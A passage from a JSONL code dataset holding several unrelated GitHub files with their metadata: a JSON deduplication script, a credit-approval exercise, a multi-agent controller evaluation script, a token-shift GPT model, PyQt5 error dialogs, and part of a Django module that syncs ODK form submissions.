self.assertEqual(em.cell_size, (2.0, -2.0))\n        os.unlink(outfile)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"dtcc-platform/dtcc-io","sub_path":"tests/python/test_raster.py","file_name":"test_raster.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"5983627213","text":"import json\n\n# 读取json文件内容\nwith open('mock_images.json', 'r') as file:\n    json_data = file.read()\n\n# 解析json数据为对象\ndata = json.loads(json_data)\n\n# 根据id保留唯一\nunique_data = {item['id']: item for item in data}.values()\n\n# 每个元素单独占一行\noutput_data = '[\\n  ' + ',\\n  '.join(json.dumps(item) for item in unique_data) + '\\n]'\n\n# 将结果输出到文件\nwith open('output.json', 'w') as file:\n    file.write(output_data)","repo_name":"lhlyu/mock","sub_path":"image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29331759399","text":"#Aprobación de créditos\ningreso=int(input(\"Ingreso: \"))\nnacimiento=int(input(\"Año de nacimiento: \"))\nhijos=int(input(\"Número de hijos: \"))\nbanco=int(input(\"Años de pertenencia al banco: \"))\ncivil=str(input(\"Estado civil: \"))\nvive=str(input(\"Vive en: \"))\nif banco>10 and hijos>=2:\n    print(\"APROBADO\")\nelif civil=='C' and hijos>3 and 1967<=nacimiento<=1977:\n    print(\"APROBADO\")\nelif ingreso>2500000 and civil=='S' and vive=='U':\n    print(\"APROBADO\")\nelif ingreso>3500000 and banco>5:\n    print(\"APROBADO\")\nelif vive=='R' and civil=='C' and hijos<2:\n    print(\"APROBADO\")\nelse:\n    print (\"RECHAZADO\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej3/hito1_ej3_db2fa35abdd0db11e925dfd0e2dc7d01.py","file_name":"hito1_ej3_db2fa35abdd0db11e925dfd0e2dc7d01.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16667640096","text":"import torch\nimport os\nimport cv2\nimport numpy as np\nimport argparse\nimport time\n\nfrom PIL import Image\nfrom scipy.io import savemat\n\nfrom gcbf.trainer.utils import set_seed, read_settings, eval_ctrl_epi\nfrom gcbf.env import make_env\nfrom gcbf.algo import make_algo\n\n\ndef test(args):\n    # set random seed\n    set_seed(args.seed)\n\n    # set up testing device\n    use_cuda = torch.cuda.is_available() and not args.cpu\n    if use_cuda:\n        os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(args.gpu)\n    device = torch.device('cuda' if use_cuda else 'cpu')\n\n    # load training settings\n    try:\n        settings = read_settings(args.path)\n    except TypeError:\n        settings = {'algo': 'nominal', 'num_agents': args.num_agents}\n\n    # make environment\n    env = make_env(\n        env=settings['env'] if args.env is None else args.env,\n        num_agents=settings['num_agents'] if args.num_agents is None else args.num_agents,\n        device=device,\n        max_neighbors=12 if settings['algo'] == 'macbf' else None\n    )\n    params = env.default_params\n    if args.area_size is not None:\n        params['area_size'] = args.area_size\n    if args.obs is not None:\n        params['num_obs'] = args.obs\n    if args.sense_radius is not None:\n        params['comm_radius'] = args.sense_radius\n    env = make_env(\n        env=settings['env'] if args.env is None else args.env,\n        num_agents=settings['num_agents'] if args.num_agents is None else args.num_agents,\n        device=device,\n        params=params,\n        max_neighbors=12 if settings['algo'] == 'macbf' else None\n    )\n    # env.demo(3)\n    if args.demo is None:\n        env.test()\n    else:\n        env.demo(args.demo)\n\n    # build algorithm\n    algo = make_algo(\n        algo=settings['algo'],\n        env=env,\n        num_agents=settings['num_agents'] if args.num_agents is None else args.num_agents,\n        node_dim=env.node_dim,\n        edge_dim=env.edge_dim,\n        action_dim=env.action_dim,\n        device=device,\n        hyperparams=settings['hyper_params'] if 'hyper_params' in settings.keys() else None\n    )\n    if args.path is None:\n        assert args.env is not None and args.num_agents is not None\n        # evaluate the nominal controller\n        args.path = f'./logs/{args.env}'\n        if not os.path.exists('./logs'):\n            os.mkdir('./logs')\n        if not os.path.exists(args.path):\n            os.mkdir(args.path)\n        if not os.path.exists(os.path.join(args.path, 'nominal')):\n            os.mkdir(os.path.join(args.path, 'nominal'))\n        video_path = os.path.join(args.path, 'nominal', 'videos')\n    else:\n        # evaluate the learned controller\n        model_path = os.path.join(args.path, 'models')\n        if args.iter is not None:\n            # load the controller at given iteration\n            algo.load(os.path.join(model_path, f'step_{args.iter}'))\n        else:\n            # load the last controller\n            controller_name = os.listdir(model_path)\n            controller_name = [i for i in controller_name if 'step' in i]\n            controller_id = sorted([int(i.split('step_')[1].split('.')[0]) for i in controller_name])\n            algo.load(os.path.join(model_path, f'step_{controller_id[-1]}'))\n        video_path = os.path.join(args.path, 'videos')\n\n    # mkdir for the video and the figures\n    if not args.no_video and not os.path.exists(video_path):\n        os.mkdir(video_path)\n\n    # evaluate policy\n    def apply(data):\n        return algo.apply(data, rand=args.rand)\n    start_time = time.time()\n    results = []\n    for i in range(args.epi):\n        print(f'epi: {i}')\n        results.append(\n            eval_ctrl_epi(apply, env, np.random.randint(100000), not args.no_video, plot_edge=not args.no_edge)\n        )\n    rewards, lengths, video, info = zip(*results)\n    video = sum(video, ())\n\n    # calculate safe rate and goal reaching rate\n    safe_rates = []\n    reach_rates = []\n    success_rates = []\n    n_traj = 0\n    for i in info:\n        if 'safe' in i.keys():\n            safe_rates.append(float(i['safe']))\n            n_traj += 1\n        if 'reach' in i.keys():\n            reach_rates.append(float(i['reach']))\n        if 'success' in i.keys():\n            success_rates.append(float(i['success']))\n\n    # output trajectory\n    if args.write_traj is not None:\n        if args.write_traj == 'mat':\n            if not os.path.exists(os.path.join(args.path, 'trajs')):\n                os.mkdir(os.path.join(args.path, 'trajs'))\n            for i, i_info in enumerate(info):\n                savemat(\n                    os.path.join(\n                        args.path,\n                        'trajs',\n                        f'demo{args.demo}_seed{args.seed}_agent{env.num_agents}_size_{args.area_size}_'\n                        f'safe{np.mean(safe_rates)}_reach{np.mean(reach_rates)}_success{np.mean(success_rates)}_reward{np.mean(rewards):.2f}_traj{i}.mat',\n                    ),\n                    {'states': i_info['states'].cpu().numpy()}\n                )\n\n    # make video\n    if not args.no_video:\n        print(f'> Making video...')\n        out = cv2.VideoWriter(\n            os.path.join(\n                video_path,\n                f'demo{args.demo}_seed{args.seed}_agent{env.num_agents}_size_{args.area_size}_'\n                f'safe{np.mean(safe_rates)}_reach{np.mean(reach_rates)}_success{np.mean(success_rates)}_reward{np.mean(rewards):.2f}.mp4'\n            ),\n            cv2.VideoWriter_fourcc(*'mp4v'),\n            25,\n            (video[-1].shape[1], video[-1].shape[0])\n        )\n\n        # release the video\n        for i_fig, fig in enumerate(video):\n            if fig.shape[2] == 4:\n                img_pil = Image.fromarray(fig, 'RGBA')\n                img_rgb = img_pil.convert('RGB')\n                img_rgb.save(f'{video_path}/tmp.png')\n                fig = cv2.imread(f'{video_path}/tmp.png')\n            out.write(np.uint8(fig))\n        out.release()\n        if os.path.exists(f'{video_path}/tmp.png'):\n            os.remove(f'{video_path}/tmp.png')\n\n    # print evaluation results\n    verbose = f'average reward: {np.mean(rewards):.2f}, average length: {np.mean(lengths):.2f}'\n    if n_traj > 0:\n        verbose += f', safe rate: {np.mean(safe_rates)} +/- {np.std(safe_rates)}, ' \\\n                   f'reach rate: {np.mean(reach_rates)} +/- {np.std(reach_rates)}, ' \\\n                   f'success rate: {np.mean(success_rates)} +/- {np.std(success_rates)}'\n    print(verbose)\n    with open(os.path.join(args.path, 'test_log.csv'), \"a\") as f:\n        f.write(f'{env.num_agents},{args.obs},{args.epi},{args.area_size},{np.mean(safe_rates)},{np.std(safe_rates)},'\n                f'{np.mean(reach_rates)},{np.std(reach_rates)},{np.mean(success_rates)},{np.std(success_rates)}\\n')\n    print(f'> Done in {time.time() - start_time:.0f}s')\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n\n    # custom\n    parser.add_argument('--path', type=str, default=None)\n    parser.add_argument('--obs', type=int, default=None)\n    parser.add_argument('--sense-radius', type=float, default=None)\n    parser.add_argument('--area-size', type=float, default=None)\n    parser.add_argument('-n', '--num-agents', type=int, default=None)\n    parser.add_argument('--demo', type=int, default=None)\n    parser.add_argument('--env', type=str, default=None)\n    parser.add_argument('--iter', type=int, default=None)\n    parser.add_argument('--epi', type=int, default=5)\n    parser.add_argument('--no-video', action='store_true', default=False)\n    parser.add_argument('--gpu', type=int, default=0)\n    parser.add_argument('--no-edge', action='store_true', default=False)\n    parser.add_argument('--write_traj', type=str, default=None)\n    parser.add_argument('--rand', type=float, default=30)\n\n    # default\n    parser.add_argument('--seed', type=int, default=0)\n    parser.add_argument('--cpu', action='store_true', default=False)\n\n    args = parser.parse_args()\n    test(args)\n","repo_name":"MIT-REALM/gcbf-pytorch","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7943,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"23887196705","text":"from math import log2, ceil\nimport torch\nfrom torch import nn, einsum\nimport torch.nn.functional as F\n\nfrom einops import rearrange\n\n# helper functions\n\ndef exists(val):\n    return val is not None\n\ndef shift(x, amt, dim = -1):\n    return F.pad(x, (*((0, 0) * (-dim - 1)), amt, -amt), value = 0.)\n\ndef shift_tokens(x, amt, eps = 1e-5):\n    n, device = x.shape[1], x.device\n\n    cumsum = x.cumsum(dim = 1)\n    *x, x_pass = x.chunk(amt + 1, dim = -1)\n    *x_cumsum, _ = cumsum.chunk(amt + 1, dim = -1)\n\n    amts = 2 ** torch.arange(amt)\n    amts = amts.tolist()\n\n    shifts = []\n    denom = torch.arange(n, device = device)\n\n    for x_chunk, x_cumsum_chunk, amt in zip(x, x_cumsum, amts):\n        shifted_chunk = shift(x_cumsum_chunk, amt, dim = -2) - shift(x_cumsum_chunk, 2 * amt, dim = -2)\n        shifted_denom = shift(denom, amt, dim = -1) - shift(denom, 2 * amt, dim = -1)\n        shifted_denom = rearrange(shifted_denom, 'n -> () n ()')\n        normed_shifted_x = shifted_chunk /  (shifted_denom + eps)\n        shifts.append(normed_shifted_x)\n\n    return torch.cat((*shifts, x_pass), dim = -1)\n\ndef discounted_cumsum(t, gamma):\n    try:\n        from torch_discounted_cumsum import discounted_cumsum_left\n    except ImportError:\n        print('unable to import torch_discounted_cumsum - please run `pip install torch-discounted-cumsum`')\n\n    b, n, d = t.shape\n    t = rearrange(t, 'b n d -> (b d) n')\n    t = discounted_cumsum_left(t, gamma)\n    t = rearrange(t, '(b d) n -> b n d', b = b)\n    return t\n\n# helper classes\n\nclass Residual(nn.Module):\n    def __init__(self, fn):\n        super().__init__()\n        self.fn = fn\n\n    def forward(self, x):\n        return self.fn(x) + x\n\nclass FeedForward(nn.Module):\n    def __init__(\n        self,\n        *,\n        dim,\n        max_seq_len,\n        num_shifts,\n        mult = 4,\n        eps = 1e-3,\n        use_discounted_cumsum = False,\n        discount_gamma = 0.9\n    ):\n        super().__init__()\n        self.norm = nn.LayerNorm(dim)\n\n        self.project_in = nn.Sequential(\n            nn.Linear(dim, dim * mult),\n            nn.GELU()\n        )\n\n        self.num_shifts = num_shifts\n        hidden_dim = dim * mult // 2\n\n        self.gate_norm = nn.LayerNorm(hidden_dim)\n        self.to_gate = nn.Linear(hidden_dim, hidden_dim)\n\n        nn.init.constant_(self.to_gate.weight, eps)\n        nn.init.constant_(self.to_gate.bias, 1.)\n\n        self.project_out = nn.Linear(hidden_dim, dim)\n\n        # for using discounted cumsum approach\n\n        self.use_discounted_cumsum = use_discounted_cumsum\n        self.discount_gamma = discount_gamma\n\n    def forward(self, x):\n        x = self.norm(x)\n\n        x = self.project_in(x)\n\n        x, gate = x.chunk(2, dim = -1)\n\n        gate = self.gate_norm(gate)\n\n        if self.use_discounted_cumsum:\n            gate = shift(gate, 1, dim = -2)\n            gate = discounted_cumsum(gate, self.discount_gamma)\n        else:\n            gate = shift_tokens(gate, self.num_shifts)\n\n        x = x * self.to_gate(gate)\n        return self.project_out(x)\n\n# classes\n\nclass TokenShiftGPT(nn.Module):\n    def __init__(\n        self,\n        *,\n        num_tokens,\n        dim,\n        max_seq_len,\n        depth,\n        ff_mult = 4,\n        use_discounted_cumsum = False,\n        discount_gamma = 0.9\n    ):\n        super().__init__()\n        self.seq_len = max_seq_len\n        num_shifts = ceil(log2(max_seq_len)) - 1\n\n        self.token_emb = nn.Embedding(num_tokens, dim)\n        self.pos_emb = nn.Embedding(max_seq_len, dim)\n\n        self.net = nn.Sequential(\n            *[Residual(FeedForward(dim = dim, num_shifts = num_shifts, mult = ff_mult, max_seq_len = max_seq_len, use_discounted_cumsum = use_discounted_cumsum, discount_gamma = discount_gamma)) for _ in range(depth)],\n            nn.LayerNorm(dim),\n            nn.Linear(dim, num_tokens)\n        )\n    def forward(self, x):\n        x = self.token_emb(x)\n        pos_emb = self.pos_emb(torch.arange(x.shape[1], device = x.device))\n        x = x + rearrange(pos_emb, 'n d -> () n d')\n        return self.net(x)\n","repo_name":"lucidrains/token-shift-gpt","sub_path":"token_shift_gpt/token_shift_gpt.py","file_name":"token_shift_gpt.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"77"}
+{"seq_id":"34821053977","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 30 21:25:35 2021\n\n@author: garvi\n\"\"\"\n\nfrom PyQt5.QtWidgets import QMessageBox, QInputDialog\n\nIP_VERSION = \"IP Version 2f\"\n\nclass my_Error:\n    #Error.py    \n    def __init__(self):\n        pass\n    \n    \n    def confirm_deletion(self, name_project, num_sps):\n        '''\n        Params: name_project is the name of the project that is about to be deleted.\n                num_sps      is the number of subprojects in this project.\n        '''\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Question)\n        \n        msg.setText(\"Are you sure you want to delete: \\\"{}\\\" with {} sub-projects?\".format(name_project, num_sps))\n        msg.setWindowTitle(IP_VERSION)\n        msg.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n        \n        retval = msg.exec_()\n        \n        # This OK thing is a macro that is 0x000400 or something.\n            # This is because the dialog contains a button in itself, OK and CANCEL.\n        if (retval == QMessageBox.Ok):\n            return 1\n        else:\n            return -1\n \n        \n    def add_a_project(self):\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Critical)\n        msg.setText(\"Error\")\n        msg.setInformativeText('Add a project first!')\n        msg.setWindowTitle(\"Error\")\n        msg.exec_()\n        \n        \n    def click_sp_first(self):\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Critical)\n        msg.setText(\"Error\")\n        msg.setInformativeText('Click a Sub-Project first!')\n        msg.setWindowTitle(\"Error\")\n        msg.exec_()\n        \n        \n    def unexpected_catch(self):\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Information)\n        msg.setText(\"Something weird happened\")\n        msg.setInformativeText('Something unexpected happened.')\n        msg.exec_()\n\n    def edit_input_failure(self):\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Critical)\n        msg.setText(\"Error\")\n        msg.setInformativeText('Your Team Members Name was not Found!')\n        msg.setWindowTitle(\"Error\")\n        msg.exec_()\n        \n    def member_name_blank(self):\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Critical)\n        msg.setText(\"Error\")\n        msg.setInformativeText('Your Team Member must have a name!')\n        msg.setWindowTitle(\"Error\")\n        msg.exec_()\n    \n    def confirm_blank_edit_members(self, name):\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Question)\n        \n        msg.setText(\"Are you sure you want to Edit \\\"{}\\\" with Blank Fields?\".format(name))\n        msg.setWindowTitle(IP_VERSION)\n        msg.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n        \n        retval = msg.exec_()\n        \n        # This OK thing is a macro that is 0x000400 or something.\n            # This is because the dialog contains a button in itself, OK and CANCEL.\n        if (retval == QMessageBox.Ok):\n            return 1\n        else:\n            return -1\n        \n        \n    def name_exists_already(self):\n        '''\n        In a given SP, if you add a name that already exists, display the relevant message.\n        '''\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Critical)\n        msg.setText(\"Error\")\n        msg.setInformativeText('This name already exists! Consider using \"Edit-Member\" instead.')\n        msg.setWindowTitle(\"Error\")\n        msg.exec_()        \n\n        \n    def click_button_first(self):\n        '''\n        If you try moving a button without clicking it, it will cause an error.\n        '''\n        msg = QMessageBox()\n        msg.setIcon(QMessageBox.Critical)\n        msg.setText(\"Error\")\n        msg.setInformativeText('Click on a button before moving it first!')\n        msg.setWindowTitle(\"Error\")\n        msg.exec_()\n\n","repo_name":"gjairath/IP_Version_1.0","sub_path":"IP/my_Error.py","file_name":"my_Error.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25073486589","text":"import requests, re, os, sys\nimport logging, traceback, json\nimport copy\nimport subprocess\nimport hashlib\nimport dateutil.parser\nimport math\nimport time\nimport shutil\nimport csv\n\nfrom raven import Client\n\nfrom configparser import ConfigParser\nfrom datetime import datetime, date, timedelta\n\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom django.http import HttpResponse, HttpRequest\nfrom django.db import IntegrityError, connection\nfrom django.db.models import Q\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom django.core.exceptions import SuspiciousOperation\n\nfrom django.template import Context\n\nfrom collections import defaultdict\n\nfrom django.core import serializers\n\nfrom .terminal_output import Terminal\nfrom .excel_writer import ExcelWriter\nfrom .models import *\nfrom .sql import Query\n\nterminal = Terminal()\n\nLOGGING = {\n    'version': 1,\n    'disable_existing_loggers': False,\n    'handlers': {\n        'console': {\n            'class': 'logging.StreamHandler',\n        },\n    },\n    'loggers': {\n        'django': {\n            'handlers': ['console'],\n            'level': os.getenv('DJANGO_LOG_LEVEL', 'INFO'),\n        },\n    },\n}\nlogger = logging.getLogger('ODKForms')\nFORMAT = \"[%(filename)s:%(lineno)s - %(funcName)20s() ] %(message)s\"\nlogging.basicConfig(format=FORMAT)\nlogger.setLevel(logging.DEBUG)\nrequest = HttpRequest()\nsentry = Client(settings.SENTRY_DSN)\n\n\nclass OdkForms():\n    def __init__(self, request=None):\n\n        self.server = settings.ONADATA_URL\n        self.api_token = settings.ONADATA_TOKEN\n\n        self.api_all_forms = 'api/v1/forms'\n        self.form_data = 'api/v1/data/'\n        self.form_stats = 'api/v1/stats/submissions/'\n        self.form_rep = 'api/v1/forms/'\n        self.media = 'api/v1/media'\n        self.metadata_uri = 'api/v1/metadata'\n\n        self.project = settings.PROJECT_NAME\n        self.county_name = settings.COUNTY_NAME\n        self.form_json_rep = None\n        self.top_level_hierarchy = None\n        self.cur_node_id = None\n        self.form_group = None\n        self.cur_form_id = None\n\n        # to avoid errors when running the cron jobs, construct an absolute path to the settings file\n        self.forms_settings = os.path.join(os.path.dirname(__file__), 'forms_settings.ini')\n        self.form_connection = None\n        self.country_qsts = ['c1s1q8_Country_name']\n        self.clean_country_codes = None\n\n        self.email_message_inner_template = \"\"\"\n        <p>\n            <mj-text font-family=\"arial\" font-size=\"16px\" align=\"left\" color=\"#808080\"> <span style=\"color:#0098CE\"><b>%s:</b></span> %s </mj-text>\n        </p>\n        \"\"\"\n\n        self.sub_counties = settings.SUB_COUNTIES\n        self.all_species = ['cattle', 'camels', 'sheep', 'goats']\n\n        if request is not None:\n            if 'r_period' in request.GET:\n                self.r_period = request.GET['r_period']\n            else:\n                if 'r_period' not in request.session:\n                    self.r_period = settings.DEFAULT_REPORTING_PERIOD\n                else:\n                    if request.session['r_period'] == 'undefined':\n                        self.r_period = settings.DEFAULT_REPORTING_PERIOD\n                    else:\n                        self.r_period = request.session['r_period']\n\n            request.session['r_period'] = self.r_period\n            self.get_r_period()\n        else:\n            self.r_period = 7\n\n    def get_r_period(self, period=None):\n        str_period = period if period is not None else self.r_period\n\n        if str_period == 'past_week':\n            self.period_days = 7\n        elif str_period == 'past_month':\n            self.period_days = 30\n        elif str_period == 'past_3mo':\n            self.period_days = 90\n        elif str_period == 'past_6mo':\n            self.period_days = 180\n        else:\n            self.period_days = 180\n\n    def get_all_forms(self):\n        \"\"\"\n        Get all the forms belonging to the current project\n        \"\"\"\n\n        to_return = []\n        to_return.append({'title': 'Select One', 'id': '-1'})\n        # check whether the form is already saved in the database\n        try:\n            all_forms = ODKForm.objects.all()\n            for form in all_forms:\n                to_return.append({'title': form.form_name, 'id': form.form_id})\n        except Exception as e:\n            terminal.tprint(str(e), 'fail')\n\n        return to_return\n\n    def get_value_from_dictionary(self, t_key, update_dict=True):\n        query = \"\"\"\n            SELECT t_value from dictionary_items where t_key = '%s'\n        \"\"\" % t_key\n        with connection.cursor() as cursor:\n            cursor.execute(query)\n            t_value = cursor.fetchall()\n            try:\n                return str(t_value[0][0])\n            except IndexError as e:\n                # We need to process all the form's structure which have a defined structure. We have all this data, so returning an unknown value is not smart\n                terminal.tprint(\"Couldn't find the value for the key '%s' in the dictionary -- Updating the dictionary %s\" % (t_key, str(e)), 'fail')\n                # to avoid cyclic repetition, check if we need to update the dictionary\n                if update_dict:\n                    # default for now\n                    return str(t_key)\n                    dict_value = self.update_dictionary_items(t_key)\n                    if dict_value is None:\n                        terminal.tprint(\"Even after the dictionary update, couldn't find the value for the key '%s' in the dictionary. Giving up. %s\" % (t_key, str(e)), 'fail')\n                        return str(t_key)\n                    else:\n                        return str(dict_value)\n                else:\n                    return None\n            except Exception as e:\n                terminal.tprint(\"Couldn't find the value for the key '%s' in the dictionary. %s\" % (t_key, str(e)), 'fail')\n                return str(t_key)\n\n    def update_dictionary_items(self, t_key=None):\n        \"\"\"\n        Traverse through all the forms with a saved form structure and update the dictionary items. After the update, get the dictionary value for t_key\n        \"\"\"\n        try:\n            form_id_bkup = self.cur_form_id\n            all_forms = ODKForm.objects.exclude(structure__isnull=True).values('form_id', 'form_name', 'structure')\n            for form in all_forms:\n                terminal.tprint(json.dumps(form['form_name']), 'ok')\n                self.cur_form_id = form['form_id']\n\n                # traverse through the choices and children\n                for choice_name in form['structure']['choices']:\n                    for choice in form['structure']['choices'][choice_name]:\n                        self.add_dictionary_items(choice, 'choice')\n\n                return self.get_value_from_dictionary(t_key, False)\n            # restore the form_id backup\n            self.cur_form_id = form_id_bkup\n        except Exception as e:\n            terminal.tprint(str(e), 'fail')\n            # restore the form_id backup\n            self.cur_form_id = form_id_bkup\n            return None\n\n    def refresh_forms(self):\n        \"\"\"\n        Refresh the list of forms in the database\n        \"\"\"\n        url = \"%s/%s\" % (self.server, self.api_all_forms)\n        all_forms = self.process_curl_request(url)\n        if all_forms is None:\n            print((\"Error while executing the API request %s\" % url))\n            return\n\n        to_return = []\n        to_return.append({'title': 'Select One', 'id': '-1'})\n        for form in all_forms:\n            # check whether the form is already saved in the database\n            try:\n                saved_form = ODKForm.objects.get(full_form_id=form['id_string'])\n                terminal.tprint(\"The form '%s' is already saved in the database\" % saved_form.form_name, 'ok')\n                to_return.append({'title': saved_form.form_name, 'id': saved_form.form_id, 'full_id': form['id_string']})\n            except ODKForm.DoesNotExist as e:\n                # this form is not saved in the database, so save it\n                terminal.tprint(\"The form '%s' is not in the database, saving it\" % form['id_string'], 'warn')\n                cur_form = ODKForm(\n                    form_id=form['formid'],\n                    form_name=form['title'],\n                    full_form_id=form['id_string'],\n                    auto_update=False,\n                    is_source_deleted=False\n                )\n                cur_form.publish()\n                # lets process the form structure, for forms that are being added dynamically\n                self.get_form_structure_as_json(cur_form.form_id)\n                to_return.append({'title': form['title'], 'id': form['formid'], 'full_id': form['id_string']})\n            except Exception as e:\n                terminal.tprint(str(e), 'fail')\n                sentry.captureException()\n\n        return to_return\n\n    def get_all_submissions(self, form_id):\n        \"\"\"\n        Given a form id, get all the submitted data\n        \"\"\"\n        try:\n            # the form_id used in odk_forms and submissions is totally different\n            terminal.tprint(\"Processing form with form-id %d\" % form_id, 'debug')\n            odk_form = ODKForm.objects.get(form_id=form_id)\n            submissions = RawSubmissions.objects.filter(form_id=odk_form.id).values('raw_data')\n            submitted_instances = self.online_submissions_count(form_id)\n\n            # check whether all the submissions from the db match the online submissions\n            if submitted_instances is None:\n                # There was an error while fetching the submissions, use 0 as submitted_instances\n                submitted_instances = 0\n\n            if submissions.count() == 0 and submitted_instances == 0:\n                # logger.info('There are no submissions to process')\n                terminal.tprint('\\tNo submisions to process', 'fail')\n                return None\n\n            if submitted_instances > submissions.count():\n                # we have some new submissions, so fetch them from the server and save them offline\n                terminal.tprint(\"\\tWe have some new submissions, so fetch them from the server and save them offline\", 'info')\n                # fetch the submissions and filter by submission time\n                url = \"%s/%s%d.json?start=1&limit=5&sort=%s\" % (self.server, self.form_data, form_id, '{\"_submission_time\":-1}')\n                url = \"%s/%s%d.json?fields=[\\\"_uuid\\\", \\\"_id\\\"]\" % (self.server, self.form_data, form_id)\n                submission_uuids = self.process_curl_request(url)\n\n                for uuid in submission_uuids:\n                    # check if the current uuid is saved in the database\n                    cur_submission = RawSubmissions.objects.filter(form_id=odk_form.id, uuid=uuid['_uuid'])\n                    if cur_submission.count() == 0:\n                        # the current submission is not saved in the database, so fetch and save it...\n                        url = \"%s/%s%d/%s\" % (self.server, self.form_data, form_id, uuid['_id'])\n                        submission = self.process_curl_request(url)\n\n                        t_submission = RawSubmissions(\n                            form_id=odk_form.id,\n                            uuid=submission['_uuid'],\n                            submission_time=submission['_submission_time'],\n                            raw_data=submission\n                        )\n                        t_submission.publish()\n                    else:\n                        # the current submission is already saved, so stop the processing\n                        # terminal.tprint(\"The current submission is already saved, implying that all submissions have been processed, so stop the processing!\", 'fail')\n                        continue\n\n                # just check if all is now ok\n                submissions = RawSubmissions.objects.filter(form_id=odk_form.id).order_by('submission_time').values('raw_data')\n                if submissions.count() != submitted_instances:\n                    # ok, still the processing is not complete... shout!\n                    terminal.tprint(\"Even after processing submitted responses for '%s', the tally doesn't match (%d vs %d)!\" % (odk_form.form_name, submissions.count(), submitted_instances), 'error')\n                else:\n                    terminal.tprint(\"Submissions for '%s' successfully updated.\" % odk_form.form_name, 'info')\n            else:\n                terminal.tprint(\"\\t'%s': All submissions already saved (%d vs %d)\" % (odk_form.form_name, submitted_instances, submissions.count()), 'info')\n\n        except ODKForm.DoesNotExist as e:\n            terminal.tprint(\"The form with form_id %d does not exits. Probably not saved in the database\" % form_id, 'error')\n            return None\n        except Exception as e:\n            logger.error('Some error....')\n            logger.error(str(e))\n            terminal.tprint(str(e), 'error')\n\n        return submissions\n\n    def online_submissions_count(self, form_id):\n        # given a form id, process the number of submitted instances\n        # terminal.tprint(\"\\tComputing the number of submissions of the form with id '%s'\" % form_id, 'info')\n        url = \"%s/%s%d?%s\" % (self.server, self.form_stats, form_id, \"group=&name=time\")\n        stats = self.process_curl_request(url)\n\n        if stats is None:\n            logger.error(\"Error while fetching the number of submissions\")\n            return None\n\n        submissions_count = 0\n        for stat in stats:\n            submissions_count += int(stat['count'])\n\n        return submissions_count\n\n    def read_settings(self, settings_file, variable):\n        parser = ConfigParser()\n        parser.readfp(settings_file)\n\n    def get_form_structure_as_json(self, form_id):\n        \"\"\"\n        check whether the form structure is already saved in the DB\n        \"\"\"\n        if form_id == -1:\n            terminal.tprint(\"\\tNot processing this form with an ID of -1\", 'fail')\n            return None\n\n        try:\n            cur_form = ODKForm.objects.get(form_id=form_id)\n\n            # check if the structure exists\n            if cur_form.structure is None:\n                # we don't have the structure, so fetch, process and save the structure\n                terminal.tprint(\"\\tThe form '%s' doesn't have a saved structure, so lets fetch it and add it\" % cur_form.form_name, 'warn')\n                (processed_nodes, structure) = self.get_form_structure_from_server(form_id)\n                if structure is not None:\n                    cur_form.structure = structure\n                    cur_form.processed_structure = processed_nodes\n                    cur_form.publish()\n                else:\n                    raise Exception(\"There was an error in fetching the selected form and it is not yet saved in the database.\")\n            else:\n                terminal.tprint(\"\\tFetching the form's '%s' structure from the database\" % cur_form.form_name, 'okblue')\n                processed_nodes = cur_form.processed_structure\n                # terminal.tprint(json.dumps(cur_form.structure), 'ok')\n        except IntegrityError as e:\n            # We can live with this\n            terminal.tprint(str(e), 'fail')\n        except Exception as e:\n            print((traceback.format_exc()))\n            sentry.captureException()\n            logger.debug(str(e))\n            terminal.tprint(\"The form with ID '%d' is not saved in the database\" % form_id, 'ok')\n            terminal.tprint(str(e), 'fail')\n            raise Exception(str(e))\n\n        return processed_nodes\n\n    def get_form_structure_from_server(self, form_id):\n        \"\"\"\n        Get the structure of the current form\n        \"\"\"\n        url = \"%s/%s%d/form.json\" % (self.server, self.form_rep, form_id)\n        terminal.tprint(\"Fetching the form structure for form with id = %d\" % form_id, 'header')\n        form_structure = self.process_curl_request(url)\n\n        if form_structure is None:\n            return (None, None)\n\n        self.cur_node_id = 0\n        self.cur_form_id = form_id\n        self.repeat_level = 0\n        self.all_nodes = []\n        self.top_node = {\"name\": \"Main\", \"label\": \"Top Level\", \"parent_id\": -1, \"type\": \"top_level\", \"id\": 0}\n\n        self.top_level_hierarchy = self.extract_repeating_groups(form_structure, 0)\n        self.all_nodes.insert(0, self.top_node)\n        # terminal.tprint(\"Processed %d group nodes\" % self.cur_node_id, 'warn')\n        \n        # get the form metadata if there is additional metadata\n        url = \"%s/%s?xform=%d\" % (self.server, self.metadata_uri, form_id)\n        terminal.tprint(\"Fetching the form metadata for form with id = %d\" % form_id, 'header')\n        form_metadata = self.process_curl_request(url)\n        # terminal.tprint(json.dumps(form_metadata), 'warn')\n        if 